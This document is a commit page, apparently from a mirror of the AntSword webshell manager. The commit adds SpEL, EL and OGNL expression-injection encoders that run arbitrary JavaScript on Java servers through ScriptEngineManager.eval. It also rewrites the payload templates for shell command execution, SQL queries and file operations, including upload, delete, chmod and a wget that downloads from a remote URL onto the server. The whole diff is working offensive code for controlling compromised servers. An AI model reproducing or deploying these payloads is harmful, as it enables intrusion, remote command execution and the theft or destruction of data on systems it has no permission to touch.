Commit fae7b691 authored by yzddmr6's avatar yzddmr6 Committed by Medicean

(Enhance:Core/JSPJS)兼容各种表达式注入

parent e856a271
'use strict';
module.exports = (pwd, data, ext = null) => {
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[pwd] = `\${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(pageContext.request.getParameter("${randomID}"))}`;
data[randomID]=data['_'];
delete data['_'];
return data;
}
'use strict';
module.exports = (pwd, data, ext = null) => {
data[pwd] = `(new javax.script.ScriptEngineManager()).getEngineByName("js").eval(new String(@com.sun.org.apache.xml.internal.security.utils.Base64@decode('${Buffer.from(data['_']).toString('base64')}')))`;
delete data['_'];
return data;
}
'use strict';
module.exports = (pwd, data, ext = null) => {
data[pwd] = `T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval(new String(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('${Buffer.from(data['_']).toString('base64')}')))`;
delete data['_'];
return data;
}
...@@ -41,7 +41,7 @@ class JSPJS extends Base { ...@@ -41,7 +41,7 @@ class JSPJS extends Base {
* @return {array} 编码器列表 * @return {array} 编码器列表
*/ */
get encoders() { get encoders() {
return []; return ["spelbase64","el","ognl"];
} }
get decoders() { get decoders() {
...@@ -99,9 +99,6 @@ class JSPJS extends Base { ...@@ -99,9 +99,6 @@ class JSPJS extends Base {
var tag_s = "${tag_s.substr(0,tag_s.length/2)}"+"${tag_s.substr(tag_s.length/2)}"; var tag_s = "${tag_s.substr(0,tag_s.length/2)}"+"${tag_s.substr(tag_s.length/2)}";
var tag_e = "${tag_e.substr(0,tag_e.length/2)}"+"${tag_e.substr(tag_e.length/2)}"; var tag_e = "${tag_e.substr(0,tag_e.length/2)}"+"${tag_e.substr(tag_e.length/2)}";
try { try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function decode(str) { function decode(str) {
str = str.substr(#randomPrefix#); str = str.substr(#randomPrefix#);
var bt=Base64DecodeToByte(str); var bt=Base64DecodeToByte(str);
...@@ -123,9 +120,12 @@ class JSPJS extends Base { ...@@ -123,9 +120,12 @@ class JSPJS extends Base {
} catch (e) { } catch (e) {
output.append("ERROR:// " + e.toString()); output.append("ERROR:// " + e.toString());
} }
var result=tag_s + asenc(output.toString()) + tag_e;
try { try {
response.getWriter().print(tag_s + asenc(output.toString()) + tag_e); response.getWriter().print(result);
} catch (e) {} } catch (e) {
result;
}
`.replace(/\n\s+/g, '').replace(/#randomPrefix#/g, this.__opts__.otherConf["random-Prefix"]); `.replace(/\n\s+/g, '').replace(/#randomPrefix#/g, this.__opts__.otherConf["random-Prefix"]);
// 使用编码器进行处理并返回 // 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data); return this.encodeComplete(tag_s, tag_e, data);
......
...@@ -46,15 +46,12 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -46,15 +46,12 @@ module.exports = (arg1, arg2, arg3) => ({
return osname.startsWith("win"); return osname.startsWith("win");
} }
var cmdPath = decode(request.getParameter("${arg1}")); var cmdPath = decode("#{newbase64::bin}");
var command = decode(request.getParameter("${arg2}")); var command = decode("#{newbase64::cmd}");
var envstr = decode(request.getParameter("${arg3}")); var envstr = decode("#{newbase64::env}");
output.append(ExecuteCommandCode(cmdPath, command, envstr)); output.append(ExecuteCommandCode(cmdPath, command, envstr));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::bin}",
[arg2]: "#{newbase64::cmd}",
[arg3]: "#{newbase64::env}",
}, },
listcmd: { listcmd: {
_: ` _: `
...@@ -71,9 +68,8 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -71,9 +68,8 @@ module.exports = (arg1, arg2, arg3) => ({
} }
return ret; return ret;
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::binarr}");
output.append(ListcmdCode(z1)); output.append(ListcmdCode(z1));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::binarr}",
}, },
}); });
...@@ -47,12 +47,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -47,12 +47,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
return executeSQL(encode, conn, sql, columnsep, rowsep, false); return executeSQL(encode, conn, sql, columnsep, rowsep, false);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
output.append(showDatabases(z1, z2)); output.append(showDatabases(z1, z2));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::encode}",
[arg2]: "#{newbase64::conn}",
}, },
show_tables: { show_tables: {
_: ` _: `
...@@ -92,14 +90,11 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -92,14 +90,11 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
return executeSQL(encode, conn, sql, columnsep, rowsep, false); return executeSQL(encode, conn, sql, columnsep, rowsep, false);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
var z3 = decode(request.getParameter("${arg3}")); var z3 = decode("#{newbase64::db}");
output.append(showTables(z1, z2, z3)); output.append(showTables(z1, z2, z3));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::encode}",
[arg2]: "#{newbase64::conn}",
[arg3]: "#{newbase64::db}",
}, },
show_columns: { show_columns: {
_: ` _: `
...@@ -139,16 +134,12 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -139,16 +134,12 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
return executeSQL(encode, conn, sql, columnsep, rowsep, true); return executeSQL(encode, conn, sql, columnsep, rowsep, true);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
var z3 = decode(request.getParameter("${arg3}")); var z3 = decode("#{newbase64::db}");
var z4 = decode(request.getParameter("${arg4}")); var z4 = decode("#{newbase64::table}");
output.append(showColumns(z1, z2, z3, z4)); output.append(showColumns(z1, z2, z3, z4));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::encode}",
[arg2]: "#{newbase64::conn}",
[arg3]: "#{newbase64::db}",
[arg4]: "#{newbase64::table}",
}, },
query: { query: {
_: ` _: `
...@@ -213,13 +204,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -213,13 +204,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
var rowsep = "\\r\\n"; var rowsep = "\\r\\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true); return executeSQL(encode, conn, sql, columnsep, rowsep, true);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
var z3 = decode(request.getParameter("${arg3}")); var z3 = decode("#{newbase64::sql}");
output.append(query(z1, z2, z3)); output.append(query(z1, z2, z3));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::encode}",
[arg2]: "#{newbase64::conn}",
[arg3]: "#{newbase64::sql}",
}, },
}); });
...@@ -47,11 +47,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -47,11 +47,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
return executeSQL(encode, conn, sql, columnsep, rowsep, false); return executeSQL(encode, conn, sql, columnsep, rowsep, false);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
output.append(showDatabases(z1, z2));`, output.append(showDatabases(z1, z2));
[arg1]: '#{newbase64::encode}', `.replace(/\n\s+/g, ""),
[arg2]: '#{newbase64::conn}'
}, },
show_tables: { show_tables: {
_: ` _: `
...@@ -94,13 +93,11 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -94,13 +93,11 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
return executeSQL(encode, conn, sql, columnsep, rowsep, false); return executeSQL(encode, conn, sql, columnsep, rowsep, false);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
var z3 = decode(request.getParameter("${arg3}")); var z3 = decode("#{newbase64::db}");
output.append(showTables(z1, z2, z3));`, output.append(showTables(z1, z2, z3));
[arg1]: '#{newbase64::encode}', `.replace(/\n\s+/g, ""),
[arg2]: '#{newbase64::conn}',
[arg3]: '#{newbase64::db}'
}, },
show_columns: { show_columns: {
_: `function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) { _: `function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
...@@ -139,15 +136,12 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -139,15 +136,12 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
return executeSQL(encode, conn, sql, columnsep, rowsep, true); return executeSQL(encode, conn, sql, columnsep, rowsep, true);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
var z3 = decode(request.getParameter("${arg3}")); var z3 = decode("#{newbase64::db}");
var z4 = decode(request.getParameter("${arg4}")); var z4 = decode("#{newbase64::table}");
output.append(showColumns(z1, z2, z3, z4));`, output.append(showColumns(z1, z2, z3, z4));
[arg1]: '#{newbase64::encode}', `.replace(/\n\s+/g, ""),
[arg2]: '#{newbase64::conn}',
[arg3]: '#{newbase64::db}',
[arg4]: '#{newbase64::table}'
}, },
query: { query: {
_: ` _: `
...@@ -214,13 +208,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -214,13 +208,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
var rowsep = "\\r\\n"; var rowsep = "\\r\\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true); return executeSQL(encode, conn, sql, columnsep, rowsep, true);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
var z3 = decode(request.getParameter("${arg3}")); var z3 = decode("#{newbase64::sql}");
output.append(query(z1, z2, z3));
output.append(query(z1, z2, z3));`, `.replace(/\n\s+/g, ""),
[arg1]: '#{newbase64::encode}',
[arg2]: '#{newbase64::conn}',
[arg3]: '#{newbase64::sql}'
} }
}) })
\ No newline at end of file
...@@ -46,11 +46,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -46,11 +46,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
var rowsep = ""; var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false); return executeSQL(encode, conn, sql, columnsep, rowsep, false);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
output.append(showDatabases(z1, z2));`, output.append(showDatabases(z1, z2));
[arg1]: '#{newbase64::encode}', `.replace(/\n\s+/g, ""),
[arg2]: '#{newbase64::conn}'
}, },
show_tables: { show_tables: {
_: ` _: `
...@@ -89,14 +88,11 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -89,14 +88,11 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
var rowsep = ""; var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false); return executeSQL(encode, conn, sql, columnsep, rowsep, false);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
var z3 = decode(request.getParameter("${arg3}")); var z3 = decode("#{newbase64::db}");
output.append(showTables(z1, z2, z3));
output.append(showTables(z1, z2, z3));`, `.replace(/\n\s+/g, ""),
[arg1]: '#{newbase64::encode}',
[arg2]: '#{newbase64::conn}',
[arg3]: '#{newbase64::db}'
}, },
show_columns: { show_columns: {
_: `function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) { _: `function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
...@@ -134,15 +130,12 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -134,15 +130,12 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
var sql = "SELECT TOP 1 * FROM " + dbname + "." + table; var sql = "SELECT TOP 1 * FROM " + dbname + "." + table;
return executeSQL(encode, conn, sql, columnsep, rowsep, true); return executeSQL(encode, conn, sql, columnsep, rowsep, true);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
var z3 = decode(request.getParameter("${arg3}")); var z3 = decode("#{newbase64::db}");
var z4 = decode(request.getParameter("${arg4}")); var z4 = decode("#{newbase64::table}");
output.append(showColumns(z1, z2, z3, z4));`, output.append(showColumns(z1, z2, z3, z4));
[arg1]: '#{newbase64::encode}', `.replace(/\n\s+/g, ""),
[arg2]: '#{newbase64::conn}',
[arg3]: '#{newbase64::db}',
[arg4]: '#{newbase64::table}'
}, },
query: { query: {
_: ` _: `
...@@ -210,13 +203,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({ ...@@ -210,13 +203,10 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
return executeSQL(encode, conn, sql, columnsep, rowsep, true); return executeSQL(encode, conn, sql, columnsep, rowsep, true);
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::encode}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::conn}");
var z3 = decode(request.getParameter("${arg3}")); var z3 = decode("#{newbase64::sql}");
output.append(query(z1, z2, z3));
output.append(query(z1, z2, z3));`, `.replace(/\n\s+/g, ""),
[arg1]: '#{newbase64::encode}',
[arg2]: '#{newbase64::conn}',
[arg3]: '#{newbase64::sql}'
} }
}) })
\ No newline at end of file
...@@ -31,10 +31,9 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -31,10 +31,9 @@ module.exports = (arg1, arg2, arg3) => ({
s += sF; s += sF;
return s; return s;
} }
var dirPath=decode(request.getParameter("${arg1}")); var dirPath=decode("#{newbase64::path}");
output.append(FileTreeCode(dirPath)); output.append(FileTreeCode(dirPath));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
}, },
delete: { delete: {
...@@ -53,10 +52,9 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -53,10 +52,9 @@ module.exports = (arg1, arg2, arg3) => ({
return "1"; return "1";
} }
var fileOrDirPath = decode(request.getParameter("${arg1}")); var fileOrDirPath = decode("#{newbase64::path}");
output.append(DeleteFileOrDirCode(fileOrDirPath)); output.append(DeleteFileOrDirCode(fileOrDirPath));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
}, },
create_file: { create_file: {
...@@ -87,13 +85,11 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -87,13 +85,11 @@ module.exports = (arg1, arg2, arg3) => ({
return sb.toString(); return sb.toString();
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::path}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::content}");
output.append(WriteFileCode(z1, z2)); output.append(WriteFileCode(z1, z2));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::content}",
}, },
read_file: { read_file: {
...@@ -111,10 +107,9 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -111,10 +107,9 @@ module.exports = (arg1, arg2, arg3) => ({
return s; return s;
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::path}");
output.append(ReadFileCode(z1)); output.append(ReadFileCode(z1));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
}, },
copy: { copy: {
...@@ -146,12 +141,10 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -146,12 +141,10 @@ module.exports = (arg1, arg2, arg3) => ({
return "1"; return "1";
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::path}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::target}");
output.append(CopyFileOrDirCode(z1, z2)); output.append(CopyFileOrDirCode(z1, z2));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::target}",
}, },
download_file: { download_file: {
...@@ -169,10 +162,9 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -169,10 +162,9 @@ module.exports = (arg1, arg2, arg3) => ({
os.close(); os.close();
is.close(); is.close();
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::path}");
output.append(DownloadFileCode(z1, response)); output.append(DownloadFileCode(z1, response));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
}, },
upload_file: { upload_file: {
...@@ -191,12 +183,10 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -191,12 +183,10 @@ module.exports = (arg1, arg2, arg3) => ({
os.close(); os.close();
return "1"; return "1";
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::path}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{buffer::content}");
output.append(UploadFileCode(z1, z2)); output.append(UploadFileCode(z1, z2));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
[arg2]: "#{buffer::content}",
}, },
rename: { rename: {
...@@ -207,12 +197,10 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -207,12 +197,10 @@ module.exports = (arg1, arg2, arg3) => ({
sf.renameTo(df); sf.renameTo(df);
return "1"; return "1";
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::path}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::name}");
output.append(RenameFileOrDirCode(z1, z2)); output.append(RenameFileOrDirCode(z1, z2));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::name}",
}, },
retime: { retime: {
...@@ -224,12 +212,10 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -224,12 +212,10 @@ module.exports = (arg1, arg2, arg3) => ({
f.setLastModified(dt.getTime()); f.setLastModified(dt.getTime());
return "1"; return "1";
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::path}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::time}");
output.append(ModifyFileOrDirTimeCode(z1, z2)); output.append(ModifyFileOrDirTimeCode(z1, z2));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::time}",
}, },
chmod: { chmod: {
...@@ -271,11 +257,9 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -271,11 +257,9 @@ module.exports = (arg1, arg2, arg3) => ({
} }
return "1"; return "1";
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::path}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::mode}");
output.append(ChmodCode(z1, z2));`.replace(/\n\s+/g, ""), output.append(ChmodCode(z1, z2));`.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::mode}",
}, },
mkdir: { mkdir: {
...@@ -285,10 +269,9 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -285,10 +269,9 @@ module.exports = (arg1, arg2, arg3) => ({
f.mkdir(); f.mkdir();
return "1"; return "1";
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::path}");
output.append(CreateDirCode(z1)); output.append(CreateDirCode(z1));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::path}",
}, },
wget: { wget: {
...@@ -308,11 +291,9 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -308,11 +291,9 @@ module.exports = (arg1, arg2, arg3) => ({
h.disconnect(); h.disconnect();
return "1"; return "1";
} }
var z1 = decode(request.getParameter("${arg1}")); var z1 = decode("#{newbase64::url}");
var z2 = decode(request.getParameter("${arg2}")); var z2 = decode("#{newbase64::path}");
output.append(WgetCode(z1, z2)); output.append(WgetCode(z1, z2));
`.replace(/\n\s+/g, ""), `.replace(/\n\s+/g, ""),
[arg1]: "#{newbase64::url}",
[arg2]: "#{newbase64::path}",
}, },
}); });
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment